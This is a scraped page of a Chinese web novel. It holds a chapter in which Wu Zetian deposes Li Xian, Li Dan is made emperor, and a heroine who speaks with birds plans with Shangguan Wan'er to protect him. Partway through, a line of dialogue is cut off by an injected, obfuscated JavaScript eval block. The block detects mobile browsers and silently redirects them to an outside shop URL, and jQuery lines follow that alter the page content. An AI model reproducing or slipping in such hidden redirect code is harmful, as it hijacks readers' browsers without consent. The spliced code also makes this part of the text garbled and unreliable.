默认冷灰
24号文字
方正启体

19. 第十九章 废黜李显 李旦登基

作者:末世荼靡本书字数:K更新时间:
    东宫偏殿,烛火晃得人眼晕,李显一手叉腰,一手指着殿外,嗓门大得能震落房梁上的灰尘:“朕说了,明日早朝,就下旨封韦玄贞为侍中!谁拦着,谁就是与朕为敌!”


    站在下方的朝臣面面相觑,户部侍郎小心翼翼上前一步,躬身道:“陛下,不可啊!韦玄贞前日才被提拔为豫州刺史,今日便要破格升为侍中,侍中乃三省长官,掌出纳帝命、辅佐朝政,需得有大功于社稷、有声望于朝野者方可担任,韦大人无功无德,恐难服众啊!”


    “难服众?”李显冷笑一声,抬脚就踹翻了脚边的铜炉,“朕乃大唐天子,朕说他能当,他就能当!韦玄贞是朕的岳丈,是皇后的生父,朕提拔自己的亲人,有何不妥?你们一个个磨磨唧唧,是不是还念着天后的威势,根本不把朕放在眼里?”


    韦后掀着帘幕从内殿走出,一身锦裙华贵,脸上带着几分得意,伸手拉住李显的衣袖,柔声道:“陛下息怒,大臣们也是为了大唐着想,只是他们不懂陛下的心意罢了。”说着,她转头看向众朝臣,语气瞬间冷了下来,“我父亲一生勤恳,忠心于大唐,陛下提拔他,乃是念及他的赤诚,你们这般阻拦,莫非是觉得,我韦家不配为陛下分忧?”


    “皇后娘娘息怒,臣等不敢!”众朝臣连忙跪地,齐声辩解,“臣等只是觉得,此事过于仓促,恐引朝野非议,还请陛下、皇后娘娘三思!”


    “三思?朕思得够清楚了!”李显猛地甩开韦后的手,语气决绝,“朕登基才三日,你们就处处掣肘朕,连朕提拔岳丈都不行?当年父皇在时,天后干预朝政,你们一个个噤若寒蝉,如今朕亲政,你们倒敢跳出来指手画脚了?”


    “陛下,天后临朝称制,乃是高宗皇帝遗诏所允,并非干预朝政啊!”兵部尚书硬着头皮开口,“如今朝野未稳,边境未宁,陛下当以大局为重,莫要因外戚之事,寒了朝野之心啊!”


    “寒心?朕看是你们让朕寒心!”李显气得浑身发抖,“朕今日就把话撂在这里,韦玄贞必须当侍中,除此之外,朕还要封韦氏子弟三人为刺史,谁敢再拦,朕就斩了谁!”


    韦后连忙顺势劝道:“陛下,息怒,别气坏了身子。不如这样,先封我父亲为侍中,韦氏子弟的封赏,暂缓几日,也好让大臣们有个适应,免得他们再这般聒噪。”


    李显脸色稍缓,点了点头:“还是皇后懂事!就按你说的来,明日早朝,先下旨封韦玄贞为侍中,谁敢反对,朕绝不姑息!”


    众朝臣见状,知道再劝无益,只能纷纷叩首:“臣等遵旨。”起身时,每个人脸上都带着无奈,眼底藏着担忧——他们都清楚,李显这般执意提拔韦玄贞,纵容韦后擅权,迟早会触怒武则天,到时候,不仅李显自身难保,整个大唐,恐怕都会陷入动荡。


    朝臣们退去后,韦后凑到李显身边,低声道:“陛下,今日你做得好,就该给那些老臣一点颜色看看,让他们知道,如今的天子,是你,不是天后!”


    李显握住韦后的手,意气风发:“放心,朕不会一直活在天后的阴影里。等韦玄贞坐稳了侍中之位,再提拔咱们韦氏子弟,慢慢掌控朝政,到时候,朕就废了天后的临朝称制之权,让她安安稳稳当她的皇太后,再也不能插手朕的事!”


    “陛下英明!”韦后眼中闪过一丝精光,“只是,天后心思深沉,手段狠辣,我们还是要小心行事。我已经让人去给父亲送信,让他明日一早入宫谢恩,顺便熟悉一下侍中的职责,免得被那些老臣抓住把柄。”


    “想得周全,”李显满意地点了点头,“告诉岳丈,有朕在,没人敢动他。就算天后有意见,朕也会护着他,护着咱们韦家!”


    两人正说得投机,门外传来内侍的声音:“陛下,皇后娘娘,天后娘娘派人来了,请陛下即刻前往紫宸殿议事。”


    李显脸色一沉,语气不悦:“天后又要议事?朕刚处理完朝政,她就不能让朕歇一会儿?”


    韦后连忙拉住他,低声劝道:“陛下,不可大意。天后此时派人来请你,说不定已经知道了提拔父亲的事,你万万不可与她硬碰硬,先去看看她的意思,再做打算。”


    李显深吸一口气,压下心中的怒火:“你说得对,朕不能冲动。你在东宫等着,朕去去就回,定不会让她为难咱们韦家。”说罢,便整理了一下衣衫,跟着内侍匆匆走出东宫。


    紫宸殿内,武则天端坐在龙椅上,神色冰冷,周身散发着慑人的威势,武承嗣、武三思站在一旁,垂首而立,大气都不敢喘。李显走进殿内,见武则天神色不对,心头一紧,却还是强装镇定,躬身行礼:“儿臣参见母后。”


    “免了,”武则天语气平淡,却带着不容置疑的威严,“你可知,朕今日为何召你前来?”


    李显眼底闪过一丝慌乱,随即定了定神,开口道:“儿臣不知,还请母后明示。”


    “不知?”武则天猛地拍响御座,厉声呵斥,“你要封韦玄贞为侍中,还要提拔韦氏子弟为刺史,这件事,你以为能瞒得过朕?李显,你好大的胆子!”


    李显身子一颤,却还是硬着头皮辩解:“母后,儿臣此举,并无不妥。韦玄贞乃儿臣的岳丈,忠心耿耿,有才识,有谋略,担任侍中,定能辅佐儿臣,整顿朝纲。提拔韦氏子弟,也是为了让他们为大唐效力,并无私心。”


    “忠心耿耿?有才识?”武则天冷笑一声,目光如刀,“韦玄贞不过是个小小的地方官,无大功,无威望,连刺史之位都是你破格提拔,如今你还要让他当侍中,你这是要把大唐的朝政,交给一个无能之辈吗?你纵容韦后擅权,提拔外戚,眼里还有祖宗律法,还有朕,还有大唐的江山社稷吗?”


    “母后,儿臣没有!”李显抬起头,语气带着一丝倔强,“儿臣是大唐的天子,有权提拔自己信任的人,韦后是儿臣的皇后,辅佐儿臣处理后宫之事,何来擅权之说?当年母后能干预朝政,如今儿臣提拔自己的岳丈,为何就不行?”


    “你竟敢拿朕与韦后相比?”武则天气得浑身发抖,指着李显的鼻子,厉声骂道,“朕干预朝政,是为了大唐的江山社稷,是为了稳住朝野动荡,你呢?你不过是被韦后迷惑,一心想扶持韦家势力,妄图架空朕,你这是大逆不道!”


    武承嗣连忙上前一步,躬身道:“太后息怒,陛下年轻气盛,被韦后蒙蔽,并非有意冲撞太后。只是,韦玄贞无功无德,若真被提拔为侍中,恐引朝野大乱,还请太后严惩,以儆效尤!”


    武三思也连忙附和:“承嗣所言极是!太后,陛下宠信外戚,擅权乱政,若不严加管教,日后必成大患。依臣之见,应即刻收回提拔韦玄贞的旨意,将韦玄贞贬回原籍,再训斥陛下一番,让他改过自新!”


    “改过自新?”武则天摇了摇头,眼底满是失望,“他这般冥顽不灵,野心勃勃,根本不可能改过自新。今日他能执意提拔韦玄贞,明日他就能联合韦家势力,谋反篡位,朕岂能留他?”


    李显浑身一僵,难以置信地看着武则天:“母后,你这话是什么意思?你难道要废了朕的皇位不成?儿臣是高宗皇帝钦定的太子,是大唐的天子,你不能这么做!”


    “朕不能这么做?”武则天站起身,一步步走下御座,走到李显面前,居高临下地看着他,“朕乃大唐的皇太后,临朝称制,有权废黜昏君,另立贤明。你宠信外戚,擅权乱政,不思进取,沉迷美色,根本不配当大唐的天子,废了你,有何不可?”


    “不,我不接受!”李显嘶吼着,“父皇临终前,让你辅佐朕,让你好好照顾朕,你怎么能违背父皇的遗愿?你这是篡权,你这是要毁了李氏的江山!”


    “放肆!”武则天厉声喝止,“朕所作所为,皆是为了大唐,为了李氏的江山,若不是你昏庸无能,朕岂能出此下策?来人,将李显拿下,押回东宫,严加软禁,不准他随意出入,不准他与外界私通消息!”


    “是!”殿外的禁军涌入,上前就要拿下李显。李显挣扎着,嘶吼着:“武曌,你这个毒妇!朕不会放过你的,韦家也不会放过你的!”


    武则天懒得再看他,摆了摆手:“拖下去!严加看管,若是出了半点差错,唯你们是问!”


    禁军们架着挣扎的李显,匆匆走出紫宸殿,殿内又恢复了寂静,只剩下武则天冰冷的气息,还有武承嗣、武三思两人的呼吸声。


    武承嗣上前一步,躬身道:“太后,李显已被软禁,接下来,该如何处置?还有韦玄贞和韦后,要不要一并拿下?”


    “自然要拿下,”武则天语气冰冷,“韦后迷惑君主,擅权乱政,韦玄贞妄图攀附,觊觎高位,两人都留不得。传朕旨意,废韦后为庶人,与李显一同软禁在东宫,韦玄贞拿下,打入天牢,韦氏族人全部流放岭南,永不回京,谁敢阻拦,格杀勿论!”


    “臣遵旨!”武承嗣、武三思齐声应道。


    武则天又看向两人,沉声道:“还有,李显被废,皇位不能空缺。相王李旦,性情沉稳,素来收敛锋芒,又忠于大唐,朕决定,立李旦为帝,你们二人,即刻去相王府,宣李旦入宫,明日一早,举行立帝大典。”


    武三思连忙躬身道:“太后圣明!李旦殿下沉稳贤明,必定会听从太后的旨意,辅佐太后整顿朝纲,稳住大唐的江山社稷。臣等这就去相王府,宣李旦殿下入宫。”


    “去吧,”武则天摆了摆手,“记住,态度要恭敬,不可怠慢,但也要警告他,让他明白,皇位是朕给他的,若是他敢有二心,下场只会比李显更惨!”


    “臣明白!”两人齐声应道,转身匆匆走出紫宸殿。


    两人走后,武则天独自一人站在紫宸殿内,看着空旷的大殿,眼底闪过一丝野心与威严。她要的,从来都不是临朝称制,而是整个大唐的江山,李显昏庸,正好给了她废帝的理由,李旦沉稳,却是个容易掌控的傀儡,等她稳住朝野,扫清障碍,迟早会登上那至高无上的皇位,成为大唐真正的主人。


    此时,相王府内,李旦正坐在书房内,翻阅着书籍,神色平静,仿佛外界的动荡,都与他无关。他素来不参与宫廷纷争,不争夺权势,只想安安稳稳地过日子,可他心里清楚,在这深宫之中,想要独善其身,难如登天。


    “殿下,武承嗣、武三思两位大人来了,说是奉太后之命,宣您入宫。”内侍走进书房,躬身禀报。


    李旦手中的书卷一顿,眼底闪过一丝慌乱,随即又恢复了平静:“知道了,请他们进来。”他心中清楚,武承嗣、武三思此时前来,必定与李显有关,恐怕是出大事了。


    武承嗣、武三思走进书房,躬身行礼:“臣,武承嗣、武三思,参见相王殿下。”


    “两位大人免礼,”李旦抬手,语气平淡,“不知两位大人奉太后之命,宣本王入宫,有何要事?”


    武承嗣直起身,脸上带着一丝得意,开口道:“恭喜相王殿下,贺喜相王殿下!太后娘娘下旨,废黜李显皇位,贬为庐陵王,软禁东宫,如今皇位空缺,太后娘娘念及殿下沉稳贤明,忠于大唐,决定立殿下为帝,明日一早,举行立帝大典,特命臣等前来,宣殿下入宫,商议大典之事。”


    李旦浑身一僵,手中的书卷“啪嗒”一声掉在桌上,难以置信地看着两人:“两位大人,你们说什么?太后废了新帝?还要立本王为帝?这不可能,绝对不可能!”


    “殿下,此事千真万确,”武三思开口道,“太后娘娘已经下了旨意。李显宠信外戚,擅权乱政,被废乃是咎由自取,殿下沉稳贤明,乃是皇位的不二人选,还请殿下不要推辞。”


    “推辞?”李旦苦笑一声,眼底满是无奈,“本王从来都没有想过要当皇帝,本王只想安安稳稳地过日子,打理好相王府,辅佐皇帝,守护好大唐的江山社稷。太后此举,实在是为难本王了。”


    武承嗣脸色一沉,语气带着一丝警告:“殿下,太后娘娘的旨意,岂容推辞?再说,皇位乃是至高无上的荣耀,多少人求之不得,殿下岂能拒绝?更何况,若是殿下敢推辞,便是抗旨不遵,便是对太后不敬,对大唐不敬,到时候,后果自负。”


    李旦心中一寒,他知道,武承嗣说的是实话,武则天手段狠辣,若是他敢拒绝,不仅他自身难保,整个相王府的人,都会被牵连。他看着武承嗣、武三思两人虎视眈眈的模样,心中清楚,他没有选择。


    “本王明白了,”李旦缓缓开口,语气里满是悲凉与无奈,“烦请两位大人,本王遵旨,即刻随两位大人入宫。”


    “殿下英明!”武承嗣、武三思脸上露出满意的笑容,“殿下,事不宜迟,太后娘娘还在等着殿下呢。”


    李旦点了点头,起身整理了一下衣衫,没有再多说一句话,跟着两人走出书房。走出相王府大门,看着门外漆黑的夜空,冷风拂面,李旦忍不住打了一个寒颤。他知道,从他答应入宫的那一刻起,他就再也回不到从前的日子了,他将成为武则天手中的傀儡,被她处处监视,处处猜忌,稍有不慎,就会步李显的后尘,死无葬身之地。


    与此同时,藏书阁内,林青鸾正坐在桌边,灵羽落在她的肩头,低声道:“青鸾,风锐传来消息,天后已经废了李显殿下,贬为庐陵王,软禁在东宫,还废了韦后为庶人,将韦玄贞打入天牢,韦氏族人全部流放岭南了。”


    林青鸾手中的茶杯猛地一晃,茶水洒了出来,打湿了衣袖,她却浑然不觉,声音发颤:“你说什么?天后真的废了太子殿下?怎么会这么快?白天的时候,太子殿下还执意要封韦玄贞为侍中,怎么一夜之间,就被废了?”


    “风锐说,太子殿下今日去紫宸殿见天后,与天后吵了起来,太子殿下竟敢顶撞天后,还说天后干预朝政,天后大怒,当场就下旨废了他,”灵羽语气沉重,“还有,风锐还说,天后已经决定,立相王殿下为帝,明日一早,就举行立帝大典,武承嗣、武三思已经去相王府宣旨了。”


    “立相王殿下为帝?”林青鸾心头一紧,泪水瞬间涌了上来,“不,他不能当这个皇帝!天后立他为帝,不是因为看重他,是因为他性子容易掌控,是想让他当傀儡啊!相王殿下当了皇帝,只会被天后处处监视,处处猜忌,迟早会被天后害死的!”


    “我知道,”灵羽蹭了蹭她的脸颊,轻声安慰,“风锐也知道你的担忧,它已经在相王府附近盯紧了,相王殿下已经跟着武承嗣、武三思入宫了,看起来,他没有拒绝的余地。青鸾,我们现在怎么办?要不要想办法提醒相王殿下?”


    “提醒他?我们怎么提醒他?”林青鸾捂住脸,泪水从指缝间流出,语气里满是无奈与自责,“我们没有权势,没有靠山,连宫门都出不去,怎么提醒他?更何况,天后戒备森严,我们若是贸然行动,不仅救不了他,还会暴露我们自己,连你都会有危险。我明明答应过他,不会让他卷入这场纷争,可现在,我却眼睁睁看着他陷入这样的险境,我却什么都做不了,我真是没用!”


    “青鸾,你别自责,”灵羽连忙劝道,“这不是你的错,你已经尽力了。相王殿下沉稳谨慎,他肯定知道天后的心思,肯定知道自己当了皇帝,就是个傀儡,他一定会好好保护自己,不会轻易让自己陷入险境的。再说,还有婉儿姑娘在天后身边,她或许能帮上忙,能暗中照顾相王殿下。”


    提到上官婉儿,林青鸾眼中闪过一丝光亮,连忙道:“对,婉儿姐姐!婉儿姐姐在天后身边,她一定知道这件事,她一定能想办法提醒相王殿下,一定能暗中照顾他!”


    “风锐说,婉儿姑娘今日一直在紫宸殿伺候天后,天后废李显、立相王的事,她都看在眼里,”灵羽道,“不过,婉儿姑娘说今晚三更会悄悄来藏书阁一趟,到时候,我们再和她商议,看看接下来该怎么办。”


    林青鸾点了点头,擦干眼泪,语气坚定:“好,我们等婉儿姐姐来。不管怎么样,我们都要想办法,保护好相王殿下,不能让他步太子殿下的后尘。”


    两人正说着,门外传来王嬷嬷的声音:“姑娘,夜深了,您要不要歇息?宫里今日动静很大,老奴听巡逻的宫人说,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316868|198960||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太子殿下被废了,还要立新帝,咱们还是小心点,别乱说话,免得惹祸上身。”


    林青鸾定了定神,扬声回应:“我知道了,王嬷嬷,我马上就歇息,你也早点歇息吧,不用管我。”


    “好,姑娘,那老奴先下去了,有什么事,随时叫老奴。”王嬷嬷应了一声,便轻轻退了出去。


    王嬷嬷走后,林青鸾看向灵羽,压低声音:“灵羽,你再去叮嘱风锐一遍,让它盯紧相王殿下,盯紧婉儿姐姐,千万不要让她们有任何危险,若是有任何动静,立刻来告诉我。”


    “放心,我这就去,”灵羽点了点头,振翅飞起,“我速去速回,你在这里等我,不要太过担心。”说罢,便从窗缝里飞出,消失在夜色中。


    灵羽走后,林青鸾独自一人坐在桌边,脑海里全是李旦的身影。她想起小时候,她在宫中迷路,是李旦出手相助,护她周全;想起她被宫人欺负,是李旦和令月为她撑腰,替她解围;想起每次宫廷动荡,李旦都会悄悄提醒她,让她小心自保。他们相识多年,情谊深厚,她早已把李旦当作亲哥哥一般敬重,如今,李旦陷入险境,她就算拼了这条命,也要护他周全。


    可她也清楚,武则天权势滔天,手段狠辣,朝野上下,大多是她的亲信,她们没有权势,没有靠山,想要保护李旦,难如登天。


    不知过了多久,窗外传来一声轻微的鸟鸣,林青鸾心中一喜,知道是灵羽回来了,连忙走到窗边,灵羽从窗缝里飞进来,落在她的肩头,轻声道:“青鸾,我回来了,婉儿姐姐三更会准时来藏书阁,风锐会一路护送婉儿姐姐,不会让她有任何危险。还有,相王殿下已经入宫了,天后召见了他,只是叮嘱了他几句,让他好好准备明日的立帝大典,没有为难他,暂时平安无事。”


    林青鸾松了一口气,语气欣慰:“平安就好,只要他暂时平安就好。婉儿姐姐那边,你也一定要让风锐盯紧,不能让她出事,她是我们唯一的希望,若是她出事了,我们就真的没有办法保护相王殿下了。”


    “我知道,”灵羽点了点头,“风锐会一直护着婉儿姐姐,不会让她有任何闪失。”


    林青鸾起身整理了一下衣衫,又点燃了一盏油灯,放在桌边,静静等候着上官婉儿的到来。


    三更时分,门外传来一阵轻微的敲门声,林青鸾心中一紧,连忙起身,走到门边,压低声音:“婉儿姐姐?”


    门外传来上官婉儿的声音:“青鸾,是我,快开门。”


    林青鸾连忙打开房门,上官婉儿匆匆走了进来,神色慌张,眼底满是疲惫与心惊,身上还带着一丝寒风的气息。林青鸾连忙关上房门,拉着上官婉儿走到桌边坐下,轻声道:“婉儿姐姐,你可算来了,你没事吧?天后有没有怀疑你?”


    上官婉儿喝了一口林青鸾递过来的茶水,才缓缓平复下来,语气急促:“我没事,没有被任何人发现,只是时间紧迫,我不能停留太久,我们长话短说。”


    “我知道,”林青鸾点了点头,“婉儿姐姐,太子殿下被废的事,我们已经知道了,还有,天后要立相王殿下为帝的事,我们也知道了。婉儿姐姐,你在天后身边,你肯定知道天后的心思,她立相王殿下为帝,就是想让他当傀儡,对不对?我们该怎么办?怎么才能保护好相王殿下?”


    上官婉儿点了点头:“你说得对,天后立李旦殿下为帝,就是想让他当傀儡,想更好地掌控大权。今日在紫宸殿,天后已经暗中警告过我,让我不准私下与李旦殿下、与你联系,不准多管闲事,若是我敢不听话,就会和裴炎、李显一样,死无葬身之地。”


    “天后竟然警告你了?”林青鸾心头一紧,“婉儿姐姐,那你以后一定要小心,千万不要露出任何破绽,不要勉强自己,若是有危险,立刻告诉我们。”


    “我知道,我会小心的,”上官婉儿叹了口气,“我今日来,就是想和你们商议,看看接下来该怎么办。李旦殿下性子沉稳,懂得收敛锋芒,这是他的优点,也是他能暂时保住性命的原因。但天后多疑,一旦她察觉到李旦殿下有任何二心,或者察觉到我们三人私下联系,一定会对我们下手,对李旦殿下下手。”


    “那我们该怎么办?”林青鸾急道,“我们总不能眼睁睁看着相王殿下被天后操控,眼睁睁看着他陷入险境吧?我们能不能想办法,让相王殿下推辞皇位,或者想办法,让他逃离洛阳,找一个安全的地方,安安稳稳地过日子?”


    “不可能的,”上官婉儿摇了摇头,语气沉重,“天后已经下了旨意,立李旦殿下为帝,明日就要举行立帝大典,朝野上下,无人不知,李旦殿下根本没有推辞的余地,若是他敢推辞,就是抗旨不遵,不仅他自身难保,整个相王府的人,都会被牵连。至于逃离洛阳,更是不可能,洛阳城戒备森严,到处都是天后的人,李旦殿下身份特殊,只要他敢踏出洛阳城一步,就会被禁军拿下,当场处死。”


    “婉儿姐姐,难道我们就真的没有办法了吗?”


    上官婉儿眼底满是悲凉:“也不是没有办法,只是这个办法,很危险,稍有不慎,我们三人都会死无葬身之地。天后现在虽然立李旦殿下为帝,但她的野心很大,她想要的,是整个大唐的江山,她迟早会登上皇位,取代李氏。我们现在能做的,就是让李旦殿下假装顺从,收敛锋芒,不要引起天后的猜忌,暗中积蓄力量,联系朝中那些忠于李氏、反对天后的官员,等待时机,反击天后,夺回属于李氏的江山,也让李旦殿下摆脱傀儡的命运。”


    林青鸾点了点头,语气坚定:“好,我们就按婉儿姐姐说的做!不管有多危险,我们都要试一试!”


    “一定要小心,”上官婉儿语气凝重,“李旦殿下那边,我会想办法,悄悄联系他,提醒他假装顺从,收敛锋芒,暗中积蓄力量,不要引起天后的猜忌。青鸾,你和灵羽,继续利用灵羽的优势,打探天后和武氏族人的动向,打探朝中官员的心思,若是有任何消息,立刻告诉我,我们再商议对策。还有,一定要守好你们的秘密,你的异能,绝对不能让第三个人知道,若是被天后知道了,你和灵羽,都会被天后处死,到时候,我们就真的没有希望了。”


    “我知道,”林青鸾点了点头,“婉儿姐姐,你放心,我一定会守好秘密,不会让任何人知道我能和鸟兽对话,灵羽也会小心,不会暴露自己。”


    “还有,明日的立帝大典,我会陪在天后身边,趁机提醒李旦殿下,让他千万不要冲动,不要露出任何破绽,”上官婉儿道,“李旦殿下沉稳谨慎,他一定会明白我们的心意,假装顺从,暗中积蓄力量。”


    “时间不早了,我该回去了,”上官婉儿起身,语气急促,“若是我停留太久,一定会被天后的人发现,到时候,就麻烦了。青鸾,你们一定要小心,千万不要露出任何破绽,有任何消息,立刻告诉我,我会尽快回复你们。”


    林青鸾拉住上官婉儿的手,轻声道:“婉儿姐姐,你也一定要小心,千万不要勉强自己,若是有危险,立刻放弃,你的安全,比什么都重要。”


    “我知道,”上官婉儿点了点头,拍了拍林青鸾的手,“我会小心的,你们也保重。”说罢,便转身匆匆走到门边,轻轻打开房门,看了看门外,确认没有人后,便匆匆走了出去,消失在夜色中。


    上官婉儿走后,藏书阁内又恢复了寂静,林青鸾坐在桌边,神色凝重,没有说话。


    夜色越来越深,洛阳城被一片寂静笼罩,唯有皇宫深处,烛火通明,武则天坐在紫宸殿内,筹划着明日的立帝大典,筹划着她的帝王大业。而相王府内,李旦独自一人坐在窗前,看着漆黑的夜空,眼底满是无奈与悲凉,他知道,明日的立帝大典,不是荣耀的开始,而是苦难的开端,他不知道,自己能坚持多久,不知道自己能不能平安无事,不知道这场宫廷动荡,什么时候才能平息。


    天渐渐泛起了鱼肚白,洛阳城渐渐苏醒,空气中弥漫着压抑的气息,一场关乎大唐命运、关乎无数人性命的动荡,正在悄然酝酿。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)